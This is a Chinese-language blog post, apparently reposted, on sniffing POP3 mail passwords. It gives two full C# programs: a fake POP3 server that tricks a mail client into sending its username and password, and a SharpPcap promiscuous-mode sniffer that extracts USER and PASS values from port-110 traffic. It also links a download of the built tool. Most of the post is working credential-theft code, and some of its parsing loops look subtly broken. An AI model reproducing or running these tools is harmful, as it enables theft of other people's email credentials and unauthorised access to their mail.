pop3密碼嗅探


成品與代碼可在 https://pan.baidu.com/s/1MPfU2T_6YN6mgxUL0wrZxw 下載

來說下pop協議,

英文版,https://tools.ietf.org/html/rfc1939

中文版,http://www.cnpaf.net/class/pop3/200408/122.html

 

pop 協議基於 tcp 協議,以明文ascii碼的形式傳輸內容。且不區分大小寫。

 

這里說下2種獲取密碼的方式:

  1. pop協議分析
  2. pop數據包分析

 

 

() pop協議分析

pop協議分析,就是偽造了一個郵件服務器,誘騙客戶端傳輸密碼,過程如下。

 

 

http://www.cnblogs.com/rr163/p/4209944.html 這位同學給了一個很好的demo.

里面寫了個CAPA,開始與 POP3 Server 送出的第一個指令,用於取得此服務器的功能選項清單.

如果用FoxMail 客戶端是沒用這個的,如果用的outlook,會傳輸此命令。

 

 

代碼 如下,就是復制別人的(^_^)。

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                IPEndPoint ipEndPoint= new IPEndPoint(IPAddress.Parse("127.0.0.1"), 110);
                TcpListener tcpServer = new TcpListener(ipEndPoint);
                tcpServer.Start();
                TcpClient tcpClient = tcpServer.AcceptTcpClient();
                NetworkStream ns = tcpClient.GetStream();
                byte[] outbytes = Encoding.ASCII.GetBytes("+OK Welcome" + Environment.NewLine); //服務器的歡迎
                ns.Write(outbytes, 0, outbytes.Length);
                byte[] userBytes = new byte[255];//密碼存儲
                ns.Read(userBytes, 0, userBytes.Length);
                string capa = Encoding.ASCII.GetString(userBytes);//
                if (capa.IndexOf("CAPA") >= 0)//開始與 POP3 Server 送出的第一個指令,用於取得此服務器的功能選項清單
                {
                    byte[] capaByteArr = Encoding.ASCII.GetBytes("0" + Environment.NewLine);
                    ns.Write(capaByteArr, 0, capaByteArr.Length);
                    ns.Read(userBytes, 0, userBytes.Length);
                }
                outbytes = Encoding.ASCII.GetBytes("+OK" + Environment.NewLine);
                ns.Write(outbytes, 0, outbytes.Length);
                byte[] pwdBytes = new byte[255];
                ns.Read(pwdBytes, 0, pwdBytes.Length);
                string user = Encoding.ASCII.GetString(userBytes).Replace("USER", "").Replace("\r\n", "").Replace("\0", "");
                string pass = Encoding.ASCII.GetString(pwdBytes).Replace("PASS", "").Replace("\r\n", "").Replace("\0", "");
                tcpClient.Close();
                Console.WriteLine(string.Format("用戶名:{0}\r\n密  碼:{1}",user,pass));
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            Console.ReadKey();
        }
    }
}

 

 

然后設置下pop的服務器為127.0.0.1。 端口110,非加密傳輸。

 

 

收發下郵件,結果如下

 

 

 

()pop數據包分析(這里講的多)

 

Pop3是基於TCP協議的,那來說說它的結構。以太網包頭+IP包頭+TCP/UDP+內容 4部分構成。

 

 

 

四種以太網數據包詳解

 

Ethernet II協議,(pop3用的這個)

Ethernet 802.2協議,

Ethernet 802.3協議(IPX/SPX協議)

Ethernet SNAP協議,

 

說下POP3的數據包。

Ethernet II協議部分, 由6字節目標mac地址,6字節源mac地址,2字節協議類型構成,共14個字節

IP協議部分,由20個固定字節與40個可變字節構成,內容太多,大家去百度就好。IP地址就在這里,POP3里沒有擴展內容,所以就是固定20字節。

TCP協議部分,依然是20個固定字節作為首部,TCP報文首部的最大長度是 80字節。選項部分為MSS( Maximum Segment Size 最大報文段長度,以太網默認為1460)。MSS=TCP報文段長度-TCP首部長度,所以1460不是確定值

 

 

這里有源端口號與目的端口號(占2字節)分別是目的端口號(占2字節),就在頭文件里。

內容部分,就是ascii碼。

 

來說思路:

1.  只查看端口為110的包.(為因默認在第38個字節)

2.  如有”USER”的包記錄下用戶名,如果有”PASS”的包,記錄為密碼。

 

這里用的是C#語言,SharpPcap,可以在https://sourceforge.net/projects/sharppcap/下載。

需要安裝wincap(百度下就能下載到)。

引用PacketDotNet.dll,SharpPcap.dll。 結果如下。

 

 

 

代碼如下:

using System;
using System.Text;
using SharpPcap;
using SharpPcap.LibPcap;

namespace ConsoleApplication2
{
    class Program
    {
        static string userName = string.Empty;
        static CaptureDeviceList devices = CaptureDeviceList.Instance;
        static ICaptureDevice device;
        static void Main(string[] args)
        {
            try
            {
                getAdapter();
                Console.WriteLine("");
                Console.Write("請選擇網卡編號:");
                string macIndexStr = Console.ReadLine();
                
                int macIndex = int.Parse(macIndexStr);
                Console.WriteLine("編號為:"+macIndex+",開始監聽...");
                devices = CaptureDeviceList.Instance;
                device = devices[macIndex];
                device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(device_OnPacketArrival);
                int readTimeoutMilliseconds = 1000;
                device.Open(DeviceMode.Promiscuous, readTimeoutMilliseconds);
                device.StartCapture();
                
               
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            Console.ReadKey();
        }
        private static void getAdapter()//獲取網卡 
        {
            int macIndex = 0;
            var devices = LibPcapLiveDeviceList.Instance;
            //var devices = WinPcapDeviceList.Instance;
            //var devices = CaptureDeviceList.Instance;
            if (devices.Count < 1)
                Console.WriteLine("此設備上沒有網卡");
            else
                foreach (var dev in devices)
                {
                    Console.WriteLine(macIndex + "." + dev.Interface.FriendlyName);
                    macIndex++;
                }
        }
        private static string HexArrToAscii(byte[] s)
        {
            StringBuilder sb = new StringBuilder();
            foreach (byte b in s)
            {
                char c = (char)b;
                if (!char.IsControl(c))
                {
                    sb.Append(c);
                }
                else
                {
                    sb.Append('.');
                }
            }
            return sb.ToString();
        }
        private static void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            var pData = e.Packet.Data;
            if (pData.Length >= 37)
            {
                if (pData[37] != 110)   //如果不是110 端口,則不記錄
                {
                    return;
                }
            }
            string hexStr = HexArrToAscii(pData);
            char[] packetArr = hexStr.ToCharArray();
            if (packetArr.Length >= 54)
            {
                for (int i = 0; i < packetArr.Length - 2; i++)
                {
                    if (packetArr[i] == 'U' && packetArr[i + 1] == 'S' && packetArr[i + 2] == 'E' && packetArr[i + 3] == 'R')
                    {
                        int passLength = packetArr.Length - i - 3 - 2; //i + 3長度是數據包頭,2長度是控制符
                        char[] userArr = new char[passLength];

                        for (int j = 0; j < passLength - 2; j++)
                        {
                            userArr[j] = packetArr[i + 3 + j + 2];
                        }
                        string resultPass = new string(userArr);
                        userName = resultPass;
                    }
                }
            }
            if (!string.IsNullOrEmpty(userName) && packetArr.Length >= 57)
            {
                for (int i = 0; i < packetArr.Length - 2; i++)
                {
                    if (packetArr[i] == 'P' && packetArr[i + 1] == 'A' && packetArr[i + 2] == 'S' && packetArr[i + 3] == 'S')
                    {
                        int passLength = packetArr.Length - i - 3 - 2;//i + 3長度是數據包頭,2長度是控制符
                        char[] passArr = new char[passLength];

                        for (int j = 0; j < passLength - 2; j++)
                        {
                            passArr[j] = packetArr[i + 3 + j + 2];
                        }
                        string resultPass = new string(passArr);
                        Console.WriteLine();
                        Console.WriteLine(string.Format("用戶名:{0}\r\n密  碼:{1}", userName, resultPass));
                        return;
                    }
                }
            }            
        }
    }
}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM